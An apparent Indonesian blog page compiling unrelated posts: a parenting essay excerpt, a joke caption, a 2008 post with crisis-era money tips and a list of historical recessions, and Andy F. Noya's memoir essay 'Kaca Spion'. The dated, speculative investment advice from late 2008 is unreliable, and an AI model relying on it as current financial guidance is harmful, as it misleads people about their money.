Begitu juga orangtua. Mereka berkecenderungan melakukan training dini kepada anak. Mereka ingin anak-anak mereka menjadi "SUPERKIDS". Inilah fenomena yang sedang trend akhir-akhir ini. Inilah juga awal dari lahirnya era anak-anak karbitan! Lihatlah nanti ketika anak-anak karbitan itu menjadi dewasa, maka mereka akan menjadi orang dewasa yang ke kanak-kanakan.

*) Dewi Utama Faizah, bekerja di Direktorat pendidikan TK dan SD Ditjen Dikdasmen, Depdiknas, Program Director untuk Institut Pengembangan Pendidikan Karakter divisi dari Indonesia Heritage Foundation.

Karena nggak mendidik

Karena gambarnya gak mendidik

maka bukunya ditarik dan diganti ini...

Daftar Krisis Ekonomi Dunia Sepanjang Sejarah

Ditulis tanggal 30 Oktober 2008, jam 13.10 BBWI

Saat ini kita sedang memasuki krisis ekonomi yang sebenarnya parah. Hal yang paling bijak saat ini adalah :

1. Pegang uang Cash, jangan investasi ke properti dulu karena prediksi harga properti akan jatuh

2. Jangan beli emas. harga emas saat ini sedang fluktuasi. bahkan trend sekarang sedang turun.

3. Depositokan saja ke Bank. Ingat bunga tertinggi yang dijamin negara 10 % dan Maks Rp 2 M. jika ada bank menawarkan bunga diatas 10% hati2. bank itu lagi kesulitan uang. dan jika bangkrut, uang anda tidak akan diganti negara. Pilih bank Pemerintah saja.

4. Jangan beli dollar. Dollar tinggi saat ini karena investor asing banyak menarik dollarnya dari Indonesia karena mereka butuh duit. Kondisi kita sekarang sangat beda dengan 1998. ingat itu.

5. Jika anda saat ini pegang dollar maka saat ini adalah saat yang tepat untuk mulai mempertimbangkan melepas dollar karena titik kulminasinya hampir tercapai. Jangan menunggu pekan depan karena kemungkinan keuntungan akan turun. jika ragu lepaslah secara parsial/sebagian.

6. The Fed (BI-nya USA) saat ini sudah memotong SBInya sehingga hanya menjadi 1%. Kemungkinan terjadi kontraksi sangat besar. artinya situasi sekarang sedang menuju equilibrium (keseimbangan).

7. Belilah produk dalam negeri. itu akan menimbulkan multiple efek yang positif terhadap makro ekonomi kita. Kata ekonom, negara yang mempunyai sumber daya alam yang besarlah saat ini yang bisa survive.

Ayo..kita adalah bangsa yang diberi rahmat kekayaan alam. Pergunakan sebaiknya. belilah dari petani dan pedagang kita produk asli Indonesia. Jangan minder. Makanan semahal apapun jika sudah masuk perut dan keluar besok paginya, tidak akan berbeda, baik bau dan bentuk dengan produk makanan tradisional Indonesia.

Berikut daftar resesi dunia sebagai informasi anda :

Kepanikan 1797

Krisis ekonomi berlangsung selama 3 tahun dari 1797 hingga 1800. Akibat dari deflasi Bank of England yang menyebar hingga lautan Atlantik dan Amerika Utara dan menyebabkan hancurnya perdagangan dan pemasaran real estate di Amerika Serikat dan sekitar Karibia. Ekonomi Inggris terpengaruh akibat adanya pembalikan deflasi selama perang dengan Perancis saat terjadinya revolusi Perancis.

Depresi 1807

Depresi terjadi selama tujuh tahun sejak 1807 hingga 1814. Undang-undang embargo Amerika Serikat 1807 pada saat itu diluluskan oleh kongres Amerika saat presiden Thomas Jefferson memimpin. Hal ini menghancurkan industri yang terkait dengan pengapalan. Kaum federal berusaha melawan embargo ini dan berusaha melakukan penyelundupan di New England .

Kepanikan 1819

Krisis terjadi selama 5 tahun dari 1819 hingga 1824. Ini adalah krisis finansial pertama yang mempengaruhi keuangan Amerika Serikat secara besar-besaran, bank-bank berjatuhan, munculnya pengangguran, dan merosotnya pertanian dan industri manufaktur. Ini juga menandakan berakhirnya ekspansi ekonomi yang mengikuti Perang 1812.

Kepanikan 1837

Berlangsung antara 1837 hingga 1843. Ekonomi Amerika jatuh secara tajam disebabkan kegagalan bank dan kurangnya keyakinan pada uang kertas. Spekulasi pasar menyebabkan bank di Amerika berhenti bertransaksi dalam bentuk koin emas dan perak.

Kepanikan 1857

Terjadi selama tiga tahun hingga tahun 1860. Kejatuhan Perusahaan Asuransi Hidup dan Kepercayaan Ohio menimbulkan ledakan spekulasi di sektor transportasi Amerika Serikat. Lebih dari 5000 bisnis gagal kurang dari setahun sejak terjadinya kepanikan dan kaum pengangguran melakukan protes di kawasan urban.

Kepanikan 1873

Terjadi selama enam tahun disebabkan masalah ekonomi di Eropa mengakibatkan jatuhnya Jay Cooke & Company, bank terbesar di Amerika Serikat. Hal ini juga menimbulkan spekulasi terhadap perang saudara di Amerika. Undang-undang koin 1873 juga memberikan kontribusi dalam jatuhnya harga perak yang menghancurkan industri pertambangan Amerika Utara.

Depresi Berkepanjangan

Sesuai namanya, depresi ini menelan waktu 23 tahun sejak 1873 hingga 1896. Runtuhnya Bursa Efek Vienna menyebabkan depresi ekonomi yang menyebar ke seluruh dunia. Ini sangat penting dicatat dimana pada periode ini, produksi industri global meningkat pesat. Di Amerika Serikat misalnya, pertumbuhan produksi mencapai empat kali lipat.

Kepanikan 1893

Terjadi selama tiga tahun hingga 1896. Terjadi akibat kegagalan Reading Railroad Amerika Serikat dan penarikan investor Eropa terhadap pasar saham serta jatuhnya bank-bank.
Resesi Perang Dunia ITerjadi selama tiga tahun hingga 1921. Terjadinya hiper inflasi di Eropa menyebabkan kelebihan produksi besar-besaran di Amerika Utara.

Depresi Besar 1929

Depresi yang paling besar dan dikenang sepanjang sejarah. Terjadi selama 10 tahun sejak 1929 hingga 1939. Pasar saham di seluruh dunia saat itu berjatuhan dan bank-bank di Amerika Serikat mengalami kebangkrutan. Jutaan pengangguran bermunculan dan kemiskinan merajalela.

Resesi 1953

Terjadi selama satu tahun. Setelah periode inflasi perang Korea berakhir, banyak uang yang ditransferkan untuk keamanan nasional Amerika Serikat. Berubahnya kebijakan The Fed yang lebih membatasi tahun 1952 menyebabkan terjadinya inflasi yang lebih lanjut.

Krisis Minyak 1973

Terjadi selama dua tahun hingga 1975. Naiknya harga minyak yang ditetapkan oleh OPEC dan tingginya biaya yang dikeluarkan Amerika Serikat pada Perang Vietnam menyebabkan terjadinya stagflasi di Amerika Serikat.

Resesi Awal 1980

Terjadi di awal tahun 1980 selama dua tahun, revolusi Iran membuat melonjaknya harga minyak dan munculnya krisis energi 1979. Pergantian rezim di Iran menyebabkan menurunnya pasokan minyak sehingga harga minyak melambung. Ketatnya kebijakan moneter di Amerika Serikat untuk mengontrol inflasi menyebabkan terjadi resesi lainnya.

Resensi Awal 1990

Terjadi selama satu tahun dimana perdagangan produk industri dan manufaktur menurun.

Resesi Awal 2000

Terjadi selama dua tahun dari 2001 hingga 2003. Keruntuhan bisnis dot-com, serangan 11 September, dan skandal pembukuan menyebabkan krisis di sekitar Amerika Utara.

Depresi Ekonomi 2008

Depresi yang saat ini tengah melanda dunia. Hal ini disebabkan beberapa faktor diantaranya naiknya harga minyak yang menyebabkan naiknya harga makanan di seluruh dunia, krisis kredit dan bangkrutnya berbagai investor bank, meningkatnya pengangguran sehingga menyebabkan inflasi global. Bursa saham di beberapa negara terpaksa ditutup beberapa hari termasuk di Indonesia , harga-harga saham juga turut anjlok. Diperkirakan depresi ekonomi kali ini separah / lebih parah dari depresi besar ekonomi 1929.

Kaca Spion

Oleh Andi F. Noya

Sejak bekerja saya tidak pernah lagi berkunjung ke Perpustakaan Soemantri Brodjonegoro di Jalan Rasuna Said, Jakarta . Tapi, suatu Hari Ada kerinduan Dan dorongan yang luar biasa untuk ke sana. Bukan untuk Baca buku, melainkan makan gado-gado di luar pagar perpustakaan. Gado-gado yang dulu selalu membuat saya ngiler. Namun baru dua tiga Suap, saya merasa gado-gado yang masuk ke mulut jauh dari bayangan masa Lalu. Bumbu kacang yang dulu ingin saya jilat sampai piringnya Mengkilap, kini rasanya amburadul. Padahal ini gado-gado yang saya makan Dulu. Kain penutup hitamnya sama. Penjualnya juga masih sama. Tapi Mengapa rasanya jauh berbeda?

Malamnya, soal gado-gado itu saya ceritakan kepada istri. Bukan soal Rasanya yang mengecewakan, tetapi Ada hal lain yang membuat saya gundah. Sewaktu kuliah, hampir setiap siang, sebelum ke kampus saya selalu Mampir ke perpustakaan Soemantri Brodjonegoro. Ini tempat favorit saya. Selain karena harus menyalin bahan-bahan pelajaran dari buku-buku wajib Yang tidak mampu saya beli, berada di antara ratusan buku membuat saya Merasa begitu bahagia. Biasanya satu sampai dua jam saya di sana . Jika Masih Ada waktu, saya melahap buku-buku yang saya minati. Bau harum Buku, terutama buku baru, sungguh membuat pikiran terang Dan hati riang. Sebelum meninggalkan perpustakaan, biasanya saya singgah di gerobak Gado-gado di sudut jalan, di luar pagar. Kain penutupnya khas, warna Hitam. Menurut saya, waktu itu, inilah gado-gado paling enak seantero Jakarta . Harganya Rp 500 sepiring sudah termasuk lontong. Makan Sepiring tidak akan pernah puas. Kalau Ada uang lebih, saya pasti nambah Satu piring lagi.

Tahun berganti tahun. Drop out dari kuliah, saya Bekerja di Majalah TEMPO sebagai reporter buku Apa Dan Siapa Orang Indonesia . Kemudian pindah menjadi reporter di Harian Bisnis Indonesia. Setelah itu menjadi redaktur di Majalah MATRA. Karir saya terus Meningkat hingga menjadi pemimpin redaksi di Harian Media Indonesia Dan Metro TV.Sampai suatu Hari, kerinduan itu datang. Saya rindu makan gado-gado di Sudut jalan itu. Tetapi ketika rasa gado-gado berubah drastis, saya Menjadi gundah. Kegundahan yang aneh. Kepada istri saya utarakan Kegundahan tersebut. Saya risau saya sudah berubah Dan tidak lagi Menjadi diri saya sendiri. Padahal sejak kecil saya berjanji jika suatu Hari kelak saya punya penghasilan yang cukup, punya Mobil sendiri, Dan Punya rumah sendiri, saya tidak ingin berubah. Saya tidak ingin menjadi Sombong karenanya.

Hal itu berkaitan dengan pengalaman masa kecil saya di Surabaya .. SejakKecil saya benci orang kaya. Ada kejadian yang sangat membekas Dan Menjadi trauma masa kecil saya. Waktu itu umur saya sembilan tahun. Saya Bersama seorang teman berboncengan sepeda hendak bermain bola. Sepeda Milik teman yang saya kemudikan menyerempet sebuah Mobil. Kaca spion Mobil itu patah. Begitu takutnya, bak kesetanan saya berlari pulang. Jarak 10 kilometer Saya tempuh tanpa berhenti. Hampir pingsan rasanya.

Sesampai di rumah Saya langsung bersembunyi di bawah kolong tempat tidur. Upaya yang Sebenarnya sia-sia. Sebab waktu itu kami hanya tinggal di sebuah garasi Mobil, di Jalan Prapanca. Garasi Mobil itu oleh pemiliknya disulap Menjadi kamar untuk disewakan kepada kami. Dengan ukuran kamar yang cuma Enam kali empat meter, tidak akan sulit menemukan saya. Apalagi tempat Tidur di mana saya bersembunyi adalah satu-satunya tempat tidur diRuangan itu.

Tak lama kemudian, saya mendengar keributan di luar. Rupanya sang pemilik Mobil datang. Dengan suara keras dia marah-marah Dan mengancam ibu saya. Intinya dia meminta ganti rugi atas kerusakan Mobilnya.Pria itu, yang cuma saya kenali dari suaranya yang keras Dan tidak Bersahabat, akhirnya pergi setelah ibu berjanji akan mengganti kaca Spion mobilnya. Saya ingat harga kaca spion itu Rp 2.000. Tapi uang Senilai itu, pada tahun 1970, sangat besar. Terutama bagi ibu yang Mengandalkan penghasilan dari menjahit baju.

Sebagai gambaran, ongkos Menjahit baju waktu itu Rp 1.000 per potong. Satu baju memakan waktu dua Minggu. Dalam sebulan, order jahitan tidak menentu. Kadang sebulan Ada Tiga, tapi lebih sering cuma satu. Dengan penghasilan dari menjahit Itulah kami - ibu, dua kakak, Dan saya - harus bisa bertahan hidup Sebulan. Setiap bulan ibu harus mengangsur ganti rugi kaca spion tersebut. Setiap Akhir bulan sang pemilik Mobil, atau utusannya, datang untuk mengambil Uang. Begitu berbulan-bulan. Saya lupa berapa lama ibu harus menyisihkan Uang untuk itu. Tetapi rasanya tidak Ada habis-habisnya. Setiap akhir Bulan, saat orang itu datang untuk mengambil uang, saya selalu Ketakutan. Di Mata saya dia begitu jahat. Bukankah dia kaya? Apalah Artinya kaca spion Mobil baginya? Tidakah dia berbelas kasihan melihat Kondisi ibu Dan kami yang hanya menumpang di sebuah garasi?Saya tidak habis mengerti betapa teganya dia. Apalagi jika melihat wajah Ibu juga gelisah menjelang saat-saat pembayaran tiba. Saya benci pemilik Mobil itu. Saya benci orang-orang yang naik mobil mahal. Saya benci orang kaya.

Untuk menyalurkan kebencian itu, sering saya mengempeskan ban mobil-mobil mewah. Bahkan anak-anak orang kaya menjadi sasaran saya. Jika musim layangan, saya main ke kompleks perumahan orang-orang kaya. Saya menawarkan jasa menjadi tukang gulung benang gelasan ketika mereka adu layangan. Pada saat mereka sedang asyik, diam-diam benangnya saya putus dan gulungan benang gelasannya saya bawa lari. Begitu berkali-kali. Setiap berhasil melakukannya, saya puas. Ada dendam yang terbalaskan. Sampai remaja perasaan itu masih ada. Saya muak melihat orang-orang kaya di dalam mobil mewah.

Saya merasa semua orang yang naik mobil mahal jahat. Mereka orang-orang yang tidak punya belas kasihan. Mereka tidak punya hati nurani. Nah, ketika sudah bekerja dan rindu pada gado-gado yang dulu semasa kuliah begitu lezat, saya dihadapkan pada kenyataan rasa gado-gado itu tidak enak di lidah. Saya gundah. Jangan-jangan sayalah yang sudah berubah. Hal yang sangat saya takuti.

Kegundahan itu saya utarakan kepada istri. Dia hanya tertawa. ''Andy Noya, kamu tidak usah merasa bersalah. Kalau gado-gado langgananmu dulu tidak lagi nikmat, itu karena sekarang kamu sudah pernah merasakan berbagai jenis makanan.. Dulu mungkin kamu hanya bisa makan gado-gado di pinggir jalan. Sekarang, apalagi sebagai wartawan, kamu punya kesempatan mencoba makanan yang enak-enak. Cita rasamu sudah meningkat,'' ujarnya. Ketika dia melihat saya tetap gundah, istri saya mencoba meyakinkan, "Kamu berhak untuk itu.. Sebab kamu sudah bekerja keras."

Tidak mudah untuk untuk menghilangkan perasaan bersalah itu. Sama sulitnya dengan meyakinkan diri saya waktu itu bahwa tidak semua orang kaya itu jahat. Dengan karir yang terus meningkat dan gaji yang saya terima, ada ketakutan saya akan berubah. Saya takut perasaan saya tidak lagi sensisitif. Itulah kegundahan hati saya setelah makan gado-gado yang berubah rasa. Saya takut bukan rasa gado-gado yang berubah, tetapi sayalah yang berubah. Berubah menjadi sombong.

Ketakutan itu memang sangat kuat. Saya tidak ingin menjadi tidak sensitif. Saya tidak ingin menjadi seperti pemilik mobil yang kaca spionnya saya tabrak. Kesadaran semacam itu selalu saya tanamkan dalam hati. Walau dalam kehidupan sehari-hari sering menghadapi ujian. Salah satunya ketika mobil saya ditabrak sepeda motor dari belakang. Penumpang dan orang yang dibonceng terjerembab.

Pada siang terik, ketika jalanan macet, ditabrak dari belakang, sungguh ujian yang berat untuk tidak marah. Rasanya ingin melompat dan mendamprat pemilik motor yang menabrak saya. Namun, saya terkejut ketika menyadari yang dibonceng adalah seorang ibu tua dengan kebaya lusuh. Pengemudi motor adalah anaknya. Mereka berdua pucat pasi. Selain karena terjatuh, tentu karena melihat mobil saya penyok..Hanya dalam sekian detik bayangan masa kecil saya melintas. Wajah pucat itu serupa dengan wajah saya ketika menabrak kaca spion. Wajah yang merefleksikan ketakutan akan akibat yang harus mereka tanggung.

Sang ibu, yang lecet-lecet di lutut dan sikunya, berkali-kali meminta maaf atas keteledoran anaknya. Dengan mengabaikan lukanya, dia berusaha meluluhkan hati saya. Setidaknya agar saya tidak menuntut ganti rugi. Sementara sang anak terpaku membisu. Pucat pasi. Hati yang panas segera luluh. Saya tidak ingin mengulang apa yang pernah terjadi pada saya. Saya tidak boleh membiarkan benih kebencian lahir siang itu. Apalah artinya mobil yang penyok berbanding beban yang harus mereka pikul.

Maka saya bersyukur. Bersyukur pernah berada di posisi mereka. Dengan begitu saya bisa merasakan apa yang mereka rasakan. Setidaknya siang itu saya tidak ingin lahir sebuah benih kebencian. Kebencian seperti yang pernah saya rasakan dulu. Kebencian yang lahir dari pengalaman hidup yang pahit.